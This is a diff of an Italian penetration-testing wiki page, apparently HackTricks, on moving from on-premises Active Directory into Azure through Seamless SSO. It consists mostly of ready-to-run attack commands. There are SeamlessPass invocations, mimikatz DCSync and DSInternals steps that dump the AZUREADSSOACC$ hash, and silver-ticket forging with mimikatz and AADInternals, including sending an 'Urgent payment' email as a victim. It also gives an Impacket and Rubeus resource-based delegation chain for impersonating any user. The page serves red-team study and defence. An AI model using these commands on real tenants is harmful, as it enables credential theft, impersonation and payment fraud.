+seamlesspass -tenant corp.com -tgs user_tgs.ccache
+# Using the victims account hash or password to access the cloud
+seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF
+seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password
+# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID
+seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234
+seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234
+wmic useraccount get name,sid # Get the user SIDs
+```
+Ulteriori informazioni per configurare Firefox per lavorare con il seamless SSO possono essere [**trovate in questo post del blog**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
+
+### Ottenere gli hash dell'account AZUREADSSOACC$
+
+La **password** dell'utente **`AZUREADSSOACC$` non cambia mai**. Pertanto, un amministratore di dominio potrebbe compromettere l'**hash di questo account**, e poi usarlo per **creare silver tickets** per connettersi ad Azure con **qualsiasi utente on-prem sincronizzato**:
 ```bash
 # Dump hash using mimikatz
 Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
@@ -38,14 +87,20 @@ Import-Module DSInternals
 $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
 (Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
 ```
-Con l'hash puoi ora **generare biglietti silver**:
+> [!NOTE]
+> Con le informazioni attuali, puoi semplicemente utilizzare lo strumento **SeamlessPass** come indicato in precedenza per ottenere i token azure e entraid per qualsiasi utente nel dominio.
+> Puoi anche utilizzare le tecniche precedenti (e altre) per ottenere l'hash della password della vittima che desideri impersonare invece dell'account `AZUREADSSOACC$`.
+
+#### Creazione di Silver Tickets
+
+Con l'hash puoi ora **generare silver tickets**:
 ```bash
 # Get users and SIDs
 Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

 # Create a silver ticket to connect to Azure with mimikatz
-Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
-mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit
+Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"'
+mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit

 # Create silver ticket with AADInternal to access Exchange Online
 $kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
@@ -53,52 +108,79 @@ $at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
 ## Send email
 Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
 ```
+### Utilizzo dei Silver Ticket con Firefox
+
 Per utilizzare il silver ticket, devono essere eseguiti i seguenti passaggi:

 1. **Avviare il Browser:** Mozilla Firefox deve essere avviato.
 2. **Configurare il Browser:**
 - Navigare su **`about:config`**.
- Impostare la preferenza per [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) ai [valori](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically) specificati:
- `https://aadg.windows.net.nsatc.net`
- `https://autologon.microsoftazuread-sso.com`
+- Impostare la preferenza per [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) al [valore](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically) specificato:
+- `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com`
+- Navigare su `Impostazioni` di Firefox > Cercare `Consenti l'accesso automatico di Windows per gli account Microsoft, di lavoro e scolastici` e abilitarlo.
 3. **Accedere all'Applicazione Web:**
- Visitare un'applicazione web integrata con il dominio AAD dell'organizzazione. Un esempio comune è [Office 365](https://portal.office.com/).
+- Visitare un'applicazione web integrata con il dominio AAD dell'organizzazione. Un esempio comune è [login.microsoftonline.com](https://login.microsoftonline.com/).
 4. **Processo di Autenticazione:**
 - Nella schermata di accesso, deve essere inserito il nome utente, lasciando vuoto il campo della password.
 - Per procedere, premere TAB o ENTER.

-> [!TIP]
-> Questo non bypassa MFA se abilitato
+> [!WARNING]
+> Questo **non bypassa MFA se abilitato** per l'utente.

-#### Opzione 2 senza dcsync - SeamlessPass

-È anche possibile eseguire questo attacco **senza un attacco dcsync** per essere più furtivi come [spiegato in questo post del blog](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). Per questo hai solo bisogno di uno dei seguenti:
+### On-prem -> Cloud tramite Delegazione Constrainata Basata su Risorse <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>

- **Un TGT di un utente compromesso:** Anche se non ne hai uno ma l'utente è stato compromesso, puoi ottenerne uno utilizzando il trucco di delega TGT falso implementato in molti strumenti come [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) e [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
- **Golden Ticket**: Se hai la chiave KRBTGT, puoi creare il TGT di cui hai bisogno per l'utente attaccato.
- **L'hash NTLM o la chiave AES di un utente compromesso:** SeamlessPass comunicherà con il controller di dominio con queste informazioni per generare il TGT.
- **Hash NTLM o chiave AES dell'account AZUREADSSOACC$:** Con queste informazioni e l'Identificatore di Sicurezza (SID) dell'utente da attaccare è possibile creare un ticket di servizio e autenticarsi con il cloud (come eseguito nel metodo precedente).
+Per eseguire l'attacco è necessario:

-Infine, con il TGT è possibile utilizzare lo strumento [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) con:
+- `WriteDACL` / `GenericWrite` su `AZUREADSSOACC$`
+- Un account computer che controlli (hash e password) - Potresti crearne uno
+
+
+1. Passo 1 – Aggiungi il tuo account computer
+- Crea `ATTACKBOX$` e stampa il suo SID/NTLM hash. Qualsiasi utente di dominio può farlo mentre MachineAccountQuota > 0
+```bash
+# Impacket
+python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
+-computer ATTACKBOX$ -password S3cureP@ss
 ```
-seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>
+2. Passo 2 – Concedi RBCD su `AZUREADSSOACC$` - Scrive il SID della tua macchina in `msDS-AllowedToActOnBehalfOfOtherIdentity`.
+```bash
+python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \
+ATTACKBOX$ AZUREADSSOACC$
+
+# Or, from Windows:
+$SID = (Get-ADComputer ATTACKBOX$).SID
+Set-ADComputer AZUREADSSOACC$ `
+-PrincipalsAllowedToDelegateToAccount $SID
 ```
-Ulteriori informazioni per impostare Firefox per lavorare con SSO senza soluzione di continuità possono essere [**trovate in questo post del blog**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
+3. Passo 3 – Forgiare un TGS per qualsiasi utente (ad esempio alice)
+```bash
+# Using your machine's password or NTLM hash
+python3 getST.py -dc-ip 192.168.1.10 \
+-spn HTTP/autologon.microsoftazuread-sso.com \
+-impersonate alice \
+DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821

-#### ~~Creazione di ticket Kerberos per utenti solo cloud~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
+# Produces alice.autologon.ccache

-Se gli amministratori di Active Directory hanno accesso ad Azure AD Connect, possono **impostare SID per qualsiasi utente cloud**. In questo modo i **ticket** Kerberos possono essere **creati anche per utenti solo cloud**. L'unico requisito è che il SID sia un [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
+#Or, from Windows:
+Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
+/impersonateuser:alice `
+/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt
+```
+Puoi ora utilizzare il **TGS per accedere alle risorse di Azure come utente impersonato.**
+
+
+### ~~Creazione di ticket Kerberos per utenti solo cloud~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
+
+Se gli amministratori di Active Directory hanno accesso ad Azure AD Connect, possono **impostare SID per qualsiasi utente cloud**. In questo modo i **ticket** Kerberos possono essere **creati anche per utenti solo cloud**. L'unico requisito è che il SID sia un corretto [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).

 > [!CAUTION]
 > La modifica del SID degli utenti admin solo cloud è ora **bloccata da Microsoft**.\
 > Per informazioni controlla [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)

-### On-prem -> Cloud tramite Delegazione Constrainata Basata su Risorse <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>

-Chiunque possa gestire gli account computer (`AZUREADSSOACC$`) nel contenitore o nell'OU in cui si trova questo account, può **configurare una delegazione constrainata basata su risorse sull'account e accedervi**.
-```python
-python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$
-```
+
 ## Riferimenti

 - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso)